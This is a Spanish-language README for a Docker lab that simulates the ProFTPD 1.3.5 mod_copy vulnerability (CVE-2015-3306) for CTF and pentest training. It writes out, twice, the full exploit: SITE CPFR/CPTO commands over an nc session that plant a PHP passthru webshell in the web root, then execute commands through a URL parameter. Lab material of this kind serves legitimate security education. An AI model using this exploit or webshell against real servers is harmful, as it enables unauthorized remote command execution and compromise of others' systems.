ProFTPD 1.3.5 (mod_copy) — Laboratorio de Simulación de RCE

Este laboratorio está diseñado para simular la vulnerabilidad CVE-2015-3306 — ProFTPD mod_copy Remote File Copy to RCE
Se utiliza para aprender Web Shell Injection RCE a través del módulo mod_copy de ProFTPD

Características

• ProFTPD 1.3.5 vulnerable
• mod_copy completamente habilitado (SITE CPFR / SITE CPTO)
• Compatible con FTP anónimo
• Apache2 + PHP5 para simular la raíz web /var/www/html
• El atacante puede usar SITE CPFR/CPTO para copiar archivos al webroot y así desencadenar RCE
• Se genera automáticamente un archivo flag_RANDOM.txt cada vez que se inicia el contenedor
• Laboratorio ideal para CTF / Red Team / Entrenamiento en Pentest

Estructura de Directorios

/etc/proftpd/proftpd.conf
/usr/local/proftpd/
/var/www/html/
/tmp/flag_xxx.txt
/entrypoint.sh

Uso (Ejecutar Contenedor)

docker build -t sentinel7-proftpd-lab .
docker run -it --rm -p 21:21 -p 80:80 sentinel7-proftpd-lab

Método para probar la vulnerabilidad CVE-2015-3306

nc <IP> 21
SITE CPFR /proc/self/cmdline
SITE CPTO /tmp/<?php echo passthru($_GET['cmd']); ?>

SITE CPFR /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPTO /var/www/html/webshell.php

Abrir en el navegador:

http://<IP>/webshell.php?cmd=<comando>

Bandera

Almacenada en:

/tmp/flag_RANDOM.txt

Versión en Inglés — ProFTPD 1.3.5 (mod_copy) RCE Lab

Este laboratorio simula CVE-2015-3306 usando ProFTPD 1.3.5 con mod_copy, permitiendo a los atacantes realizar ProFTPD mod_copy Remote File Copy to RCE.

Características

• ProFTPD 1.3.5 vulnerable compilado desde fuente
• mod_copy habilitado (SITE CPFR + SITE CPTO)
• Acceso FTP anónimo
• Apache2 + PHP5 para ejecución de webshell
• Generación automática de flag_RANDOM.txt al iniciar el contenedor
• Perfecto para CTF, educación e investigación de exploits

Ejemplo de Prueba de Exploit

nc <IP> 21
SITE CPFR /proc/self/cmdline
SITE CPTO /tmp/<?php echo passthru($_GET['cmd']); ?>

SITE CPFR /tmp/<?php echo passthru($_GET['cmd']); ?>
SITE CPTO /var/www/html/webshell.php

Luego ejecuta:

http://<IP>/webshell.php?cmd=<comando>

Ubicación de la Bandera

/tmp/flag_RANDOM.txt

Aviso Legal

Solo con fines educativos y pruebas de penetración autorizadas.